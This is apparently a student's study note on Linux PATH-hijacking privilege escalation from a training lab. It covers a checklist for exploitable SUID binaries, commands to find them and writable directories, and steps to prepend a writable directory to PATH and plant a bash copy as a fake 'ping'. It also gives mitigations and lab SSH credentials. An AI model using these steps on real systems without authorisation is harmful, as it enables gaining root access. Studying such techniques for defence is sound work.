# Intro - [PATH](http://www.linfo.org/path_env_var.html) is an env car that specifies the set of directories where an executable can be located - A user account's `$PATH` is a set of absolute paths, allowing a user to type a command without specifying the absolute path to the binary - For example, a user can type `cat /tmp/test.txt` instead of specifying the absolute path `/bin/cat /tmp/test.txt` - To this end, creating a script in a directory specified in the PATH will make it executable from any directory on the system - We can check the contents of the PATH variable by typing `env | grep PATH` or `echo $PATH` ![[images/Pasted image 20260203112302.png]] - NOTE: When running a program/script, the shell reviews PATH from left to right # When to use? | Question | Why It Matters | | ------------------------------------------------------------------------- | -------------------------------------------------------- | | Is the binary owned by **root**? | Only root-owned SUIDs can give you privilege escalation. | | Is the SUID bit set? (`-rwsr-xr-x`) | Tells you if it will run with root’s permissions. | | Does it call another binary without a full path? | Opens the door for `$PATH` hijacking. | | Can you write to a directory that’s in `$PATH`? | So you can drop your malicious replacement. | | If not, can you modify `$PATH` to include a directory you _can_ write to? | Still exploitable if environment isn’t cleaned. | # Cheatsheet ```bash # Find SUID binaries owned by root find / -perm -4000 -user root -type f 2>/dev/null # Check for vulnerable system calls strings /path/to/suid_binary | grep system # Check writable folders and PATH find / -type d -writable 2>/dev/null echo $PATH # Add writable folder to path export PATH=/tmp:$PATH # Create fake binary (example: ping) cp /bin/bash /tmp/ping chmod +x /tmp/ping # Run the SUID binary ./vulnbin ``` # Example PATH Exploit - Adding `.` to a user's PATH adds their current working directory to the list - For example, if we can modify a user's path, we could replace a common binary such as `ls` with a malicious script such as a reverse shell - If we add `.` to the path by issuing the command `PATH=.:$PATH` and then `export PATH`, we will be able to run binaries located in our current working directory by just typing the name of the file - As such, typing `ls` will call the malicious script named `ls` in the current working directory instead of the binary located at `/bin/ls` ```bash echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games PATH=.:${PATH} export path echo $PATH .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games ``` - After adding the current working dir to PATH, we can create a exploit script for `ls`, `cat`, or the like ```bash touch cat echo "Enter Exploit!" > cat chmod +x cat cat Enter Exploit! ``` --- # Mitigations How does a sysadmin prevent this attack ? 1. Never include writable directories in `$PATH`, especially at the beginning of the string. 2. Always use absolute paths in system scripts (e.g. `/usr/bin/apt` instead of `apt`). 3. Restrict ability to modify `$PATH` --- # Exercise - `ssh` into target with given creds - `htb-student:Academy_LLPE!` ![[images/Pasted image 20260203113451.png]] - review `$PATH` ![[images/Pasted image 20260203113557.png]]